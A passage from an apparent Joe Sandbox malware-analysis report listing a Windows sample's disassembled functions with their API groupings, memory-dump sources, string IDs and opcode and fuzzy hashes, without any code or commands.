                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HandleLoadModuleString$Messagewprintf
                                                            • String ID: %s (%d) : ==> %s: %s %s
                                                            • API String ID: 4051287042-3128320259
                                                            • Opcode ID: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                            • Instruction ID: 422fb1ba1ff67d149869e6c79a6cac8d68f8fa2df8fd8995e2aee7def3bb700a
                                                            • Opcode Fuzzy Hash: f7e86a73b67135bbf4198df281c36ffde702979d794fcff8f2d08bb660d9317c
                                                            • Instruction Fuzzy Hash: 4D115EB6B18B8591D7348B10F4447FA23A4FB99748F8050B6EA8E83B5DEE7CC149C750
                                                            Function 00007FF69DBCFCC0 Relevance: 12.2, APIs: 8, Instructions: 246registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Close$BuffCharConnectDeleteOpenRegistryUpperValue
                                                            • String ID:
                                                            • API String ID: 50796853-0
                                                            • Opcode ID: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
                                                            • Instruction ID: e54a563746bd80db7a82be279f6f08b8b8b38bd33f22d7e35a3f5220ddde6543
                                                            • Opcode Fuzzy Hash: f5a1a67ecd9b101a11fc5f9cb9367f83b4f1b47b2c9f0c1f4c44b8d49d3bc558
                                                            • Instruction Fuzzy Hash: 59B193B2B09A4286EB20DF75D4903BC6760FF96B84F404471EA8E97A9AEF3CD105C744
                                                            Function 00007FF69DBD90A8 Relevance: 12.1, APIs: 8, Instructions: 102windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                            • String ID:
                                                            • API String ID: 3864802216-0
                                                            • Opcode ID: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                            • Instruction ID: 135e8f810efe5a48b3c3e60e4cc6628808f7c94768936b23dd145f8a2bcd894c
                                                            • Opcode Fuzzy Hash: 51e6ec7aa37fc3003482106919c843e152de56e0f8813b4e66b1a7a4e18ad1cb
                                                            • Instruction Fuzzy Hash: A6418EB661868187E7348F22B454B6ABBA0F799B91F104175EFCE87B58EF3CD4408B00
                                                            Function 00007FF69DB70BBC Relevance: 10.8, APIs: 7, Instructions: 294COMMONLIBRARYCODE
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: 6b437c51a0237620220ac28e62aa16d269046bb9e585148f6b23d7f034a1a3c0
                                                            • Instruction ID: 40f443284c2bdb0a2155b6140131a5c7eaddc15d3e7812f8d9b634407829f2f0
                                                            • Opcode Fuzzy Hash: 6b437c51a0237620220ac28e62aa16d269046bb9e585148f6b23d7f034a1a3c0
                                                            • Instruction Fuzzy Hash: BFC105A2E0C78296EE708B11950427D7BA1EB52BD0F5551B6EACE87BD9EF3CE4418700
                                                            Function 00007FF69DBB09C4 Relevance: 10.7, APIs: 7, Instructions: 248COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ArraySafe$Data$Access$UnaccessVartype
                                                            • String ID:
                                                            • API String ID: 2550207440-0
                                                            • Opcode ID: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
                                                            • Instruction ID: 0bef9dc13fdf64fbc984b7775be1195c41924fe0b898bc7f887b92e1828d5872
                                                            • Opcode Fuzzy Hash: 00c2af4dc047eb3328d9db7280bab1605e51150c83bde12361ed7da654b6a987
                                                            • Instruction Fuzzy Hash: D5A19EA2A0860285FB749B66C6943BC27A0FB47B88F1544B1DE8DC76D9EF7CE481C340
                                                            Function 00007FF69DB32100 Relevance: 10.7, APIs: 7, Instructions: 246COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ObjectSelect$BeginCreatePath
                                                            • String ID:
                                                            • API String ID: 3225163088-0
                                                            • Opcode ID: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
                                                            • Instruction ID: 8706d8fead8319b934b19cb93f8fd379fcca8fdb4e7245f4ad958b14ff7eee59
                                                            • Opcode Fuzzy Hash: e150efe4bbb5a68fe2f4df4e615a944ed6587934d7859263685a3daad39b8607
                                                            • Instruction Fuzzy Hash: C1A17CB2A186C087D7748F19A8406AEBBA5FB86BD4F504135EAC957B68DF3CD442CB01
                                                            Function 00007FF69DBDFB28 Relevance: 10.7, APIs: 7, Instructions: 212windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSendWindow$Enabled
                                                            • String ID:
                                                            • API String ID: 3694350264-0
                                                            • Opcode ID: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
                                                            • Instruction ID: f0c87d5d98cf9c6670283cda2a4e9662a2d18a7cabd2ed16ef295d12d7586b71
                                                            • Opcode Fuzzy Hash: e552656ad26ad0b4c81c10bd500660535feecaec2312c49fbee9d36c63c42a0a
                                                            • Instruction Fuzzy Hash: 949190E1E0D68686FB749B1595543B973A1EF4AB84F5840B3CBCD83699EF3CE4918340
                                                            Function 00007FF69DBA9034 Relevance: 10.7, APIs: 7, Instructions: 153windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessagePost$KeyboardState$Parent
                                                            • String ID:
                                                            • API String ID: 87235514-0
                                                            • Opcode ID: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                            • Instruction ID: 7e476f97b6cf9263f93be028ee335d1d0ea39e64c68d535ca275358fd739ad40
                                                            • Opcode Fuzzy Hash: f9339e9b515e9b8f23d28b48758f4b43b45cdaeeceea552a0e587170ddb5bff8
                                                            • Instruction Fuzzy Hash: 79519092A0D2D166FF718B725100A7E6FE1FB47BD4F8880B9DACD57B4ADE28E4509310
                                                            Function 00007FF69DBA8E18 Relevance: 10.6, APIs: 7, Instructions: 145windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessagePost$KeyboardState$Parent
                                                            • String ID:
                                                            • API String ID: 87235514-0
                                                            • Opcode ID: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
                                                            • Instruction ID: 8772b5bbecd8f46f6152a7b0d7bc82b3e7d89d15b7073932cd7d0074e088dbc1
                                                            • Opcode Fuzzy Hash: e18e0e2c600af16f3ee63314e1511203568865ab3516c571b9de0b17f9c371ff
                                                            • Instruction Fuzzy Hash: 1751D196E0C2D255FB758B715100A7D6FE1FB47BD0F8880F4DAC947E4ADE09E8649321
                                                            Function 00007FF69DBBDBF0 Relevance: 10.6, APIs: 7, Instructions: 137networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Internet$CloseConnectErrorEventHandleHttpLastOpenRequest
                                                            • String ID:
                                                            • API String ID: 3401586794-0
                                                            • Opcode ID: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
                                                            • Instruction ID: 8e5810db79f11a859c9417384015eaa6612c4ce260e1c89cc4d6ff4acc9f65e8
                                                            • Opcode Fuzzy Hash: 253a407ca22485da5ca56320f2061644023828f6bd6f560db9f49e2617228af6
                                                            • Instruction Fuzzy Hash: BC51E6B2A0874186F734DF22A8806BE67A0FB4AB88F144071DE8E53B98EF3DD455C740
                                                            Function 00007FF69DBD9248 Relevance: 10.6, APIs: 7, Instructions: 111windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: LongMessageSendWindow
                                                            • String ID:
                                                            • API String ID: 3360111000-0
                                                            • Opcode ID: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                            • Instruction ID: d4e8a3952652c494d1f24b94c80ac3e8398ca8f0eaaa41863c7c6c4111ba01bc
                                                            • Opcode Fuzzy Hash: 10b92532f4478cd50d58fa8196457338f991273d8d1c085252422c4c1f4f913a
                                                            • Instruction Fuzzy Hash: 864171A5B19A4581EB70CF1AE5906783360EBC5F94F1451B2CE9E83BA8DF3DE442C300
                                                            Function 00007FF69DBC37A8 Relevance: 10.6, APIs: 7, Instructions: 103networkCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorLastinet_addrsocket
                                                            • String ID:
                                                            • API String ID: 4170576061-0
                                                            • Opcode ID: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                            • Instruction ID: 120832c855e2a38974b10f5f48775250714a1333d9754ec01681d58db1ab0ae0
                                                            • Opcode Fuzzy Hash: 6f732a3ceb6dc8ae0713a757b729ef5f32bd0ba729350ec97b60288269ebfabf
                                                            • Instruction Fuzzy Hash: 3D4180B2A0868282EB309B65A4442AD7360FB86BE4F404275DE9E83B99EF3CD545C740
                                                            Function 00007FF69DBD15C4 Relevance: 10.6, APIs: 7, Instructions: 90registryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: EnumFreeLibrary$CloseDeleteOpen
                                                            • String ID:
                                                            • API String ID: 395352322-0
                                                            • Opcode ID: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                            • Instruction ID: 66ad3ef64f8b1802f4e4d773ee447843bc949e370f55f5751a7728928551442a
                                                            • Opcode Fuzzy Hash: fa94a490bcff5352d4611bed330528fad8175282c266d08f0e682cee49e7ebff
                                                            • Instruction Fuzzy Hash: 6D417EB6618B8586E731CF11E4547FA63A0FB8A788F440176EA8D87A5CEF3DD249C740
                                                            Function 00007FF69DBA4FCC Relevance: 10.6, APIs: 7, Instructions: 76memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: String$Alloc$ByteCharMultiWide$FreeFrom
                                                            • String ID:
                                                            • API String ID: 3761583154-0
                                                            • Opcode ID: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
                                                            • Instruction ID: 3252053207ed9da1f8e9b82f2b7201fe820e7a82e6711533bf26f7a12f0be995
                                                            • Opcode Fuzzy Hash: 470201b7a7510a06dd913372f332e36f0e26382b67c565ba0de27237d0cac92a
                                                            • Instruction Fuzzy Hash: 6431A461B08B4585DB709F16E44417973E0FB96FE0F4882BADA9E83798EE3CE5448344
                                                            Function 00007FF69DBA4EB0 Relevance: 10.6, APIs: 7, Instructions: 74memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: AllocByteCharMultiStringWide
                                                            • String ID:
                                                            • API String ID: 3603722519-0
                                                            • Opcode ID: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
                                                            • Instruction ID: d5629f3ab458c291aada34bff7f07021cfdfe140269f93f5e2eb80bfbc87ee9e
                                                            • Opcode Fuzzy Hash: cf43f2be6eb4bd68818497ac57658916f6485d2528bb62b4acf40de2ec05e3b3
                                                            • Instruction Fuzzy Hash: AB3175B1A08B4589DB709F11E444179B3E0FB56FA0F4852B6DADD83799EF3CE5848740
                                                            Function 00007FF69DBDAEDC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$CreateObjectStockWindow
                                                            • String ID: Msctls_Progress32
                                                            • API String ID: 1025951953-3636473452
                                                            • Opcode ID: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
                                                            • Instruction ID: 18ae5e1aae54fefd91df2bc2b5126f9be613b00010365635a5029030442a75e2
                                                            • Opcode Fuzzy Hash: 175e965b11afd85df2c3a996d4a298cb258778d92a24fde76c77afeddb8f143d
                                                            • Instruction Fuzzy Hash: 64317AB2A09681C7E3708F15F484B1AB761EB99790F1091B9EB8843F58DF3CD445CB00
                                                            Function 00007FF69DBAFAFC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateHandlePipe
                                                            • String ID: nul
                                                            • API String ID: 1424370930-2873401336
                                                            • Opcode ID: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
                                                            • Instruction ID: c4876135559ff7fe1258328250bd1e0e2047ab9705ddc2156353f7fc0abedc75
                                                            • Opcode Fuzzy Hash: 0134d29867f6a044a915cc83a074af2c17d8f13ec2a8203597b3b6c722d2df41
                                                            • Instruction Fuzzy Hash: D73184B2A18A4681EB308B24D4143B923E0EB5AB78F500371EBBD87BD8EF3CD4458701
                                                            Function 00007FF69DBAF9EC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65pipeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CreateHandlePipe
                                                            • String ID: nul
                                                            • API String ID: 1424370930-2873401336
                                                            • Opcode ID: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
                                                            • Instruction ID: 7f7ab8b73f3f0b7b0b295d6e0e263a95b7a2a443df2862e2179d9d46e34dd16f
                                                            • Opcode Fuzzy Hash: c3b93562104d94dec8cab7a09dad708560240dd78c66e81481d559291ba52c16
                                                            • Instruction Fuzzy Hash: 4F2143A1A18A4681EB204B14D0143B963F0EB9AB78F504375EBAE87BDDEF7CD4458740
                                                            Function 00007FF69DB38F40 Relevance: 9.2, APIs: 6, Instructions: 246COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
